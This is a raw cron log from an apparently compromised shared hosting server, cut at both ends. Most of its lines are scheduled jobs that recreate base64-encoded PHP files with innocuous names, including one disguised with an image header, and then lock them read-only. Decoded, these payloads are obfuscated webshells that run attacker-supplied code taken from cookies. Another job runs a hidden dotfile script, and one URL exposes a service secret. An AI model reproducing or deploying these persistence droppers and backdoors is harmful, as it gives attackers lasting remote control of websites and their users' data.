OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:16:02 medusa CROND[27986]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:17:01 medusa CROND[17792]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:17:01 medusa CROND[17793]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 15:17:01 medusa CROND[17794]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:17:01 medusa CROND[17796]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 15:17:01 medusa CROND[17801]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 15:17:01 medusa CROND[17802]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 15:17:01 medusa CROND[17806]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 15:17:01 medusa CROND[17805]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 15:17:01 medusa CROND[17808]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 15:17:01 medusa CROND[17811]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Mar  1 15:17:01 medusa CROND[17812]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:17:01 medusa CROND[17813]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:17:01 medusa CROND[17817]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 15:18:01 medusa CROND[7757]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 15:18:02 medusa CROND[7823]: (tecnosec) CMD (/usr/local/bin/php  /home13/tecnosec/public_html/phplist/admin/index.php  -c /home13/tecnosec/public_html/phplist/config/config.php -p processqueue >/dev/null)
Mar  1 15:18:02 medusa CROND[7825]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 15:18:02 medusa CROND[7824]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 15:18:02 medusa CROND[7822]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 15:18:02 medusa CROND[7829]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 15:18:02 medusa CROND[7830]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 15:18:02 medusa CROND[7831]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:18:02 medusa CROND[7832]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 15:18:02 medusa CROND[7835]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 15:18:02 medusa CROND[7836]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:18:02 medusa CROND[7837]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:18:02 medusa CROND[7833]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 15:18:02 medusa CROND[7838]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:19:01 medusa CROND[29699]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 15:19:01 medusa CROND[29709]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo 